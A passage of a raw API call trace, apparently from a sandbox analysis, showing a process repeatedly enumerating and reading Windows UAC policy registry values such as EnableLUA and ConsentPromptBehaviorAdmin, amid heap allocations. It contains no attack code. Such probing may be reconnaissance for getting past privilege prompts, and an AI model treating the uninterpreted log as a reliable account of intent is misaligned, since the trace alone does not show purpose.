lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.271] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x34f94c, lpData=0x0, lpcbData=0x34f954*=0x0 | out: lpType=0x34f94c*=0x4, lpData=0x0, lpcbData=0x34f954*=0x4) returned 0x0 [0184.271] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x34f94c, lpData=0x24c438, lpcbData=0x34f954*=0x4 | out: lpType=0x34f94c*=0x4, lpData=0x24c438*=0x1, lpcbData=0x34f954*=0x4) returned 0x0 [0184.271] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c438) returned 1 [0184.271] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24b860 [0184.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b878 [0184.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b888 [0184.271] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c438 [0184.271] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b898 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c558 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b930 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c510 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x24b940 [0184.272] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b860) returned 1 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b860 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c4c8 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b968 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c480 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b978 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c3f0 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b988 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c3a8 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x24b998 [0184.272] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b940) returned 1 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b940 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c360 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b950 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c318 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b9d0 [0184.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c2d0 [0184.272] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b9e0 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.273] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b998) returned 1 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b998 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.273] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24b9a8 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.273] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1e8 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.273] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1f8 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.273] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b878) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c438) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b888) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c558) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b898) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c510) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b930) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c4c8) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b860) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c480) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b968) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c3f0) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b978) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c3a8) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b988) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c360) returned 1 [0184.273] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b940) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c318) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b950) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c2d0) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b9d0) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b9e0) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b998) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b9a8) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1e8) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1f8) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.274] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x34f94c, lpData=0x0, lpcbData=0x34f954*=0x0 | out: lpType=0x34f94c*=0x4, lpData=0x0, lpcbData=0x34f954*=0x4) returned 0x0 [0184.274] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x34f94c, lpData=0x24c240, lpcbData=0x34f954*=0x4 | out: lpType=0x34f94c*=0x4, lpData=0x24c240*=0x5, lpcbData=0x34f954*=0x4) returned 0x0 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.274] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1f8 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.274] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1e8 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.274] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d208 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.274] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d218 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.274] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.274] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x24b860 [0184.274] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d228 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d238 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d248 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c2d0 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x24b930 [0184.275] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b860) returned 1 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d268 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c318 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d278 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c360 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d288 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c3a8 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d298 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c3f0 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c480 [0184.275] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b930) returned 1 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2a8 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c4c8 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2b8 [0184.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c510 [0184.275] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c558 [0184.276] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) 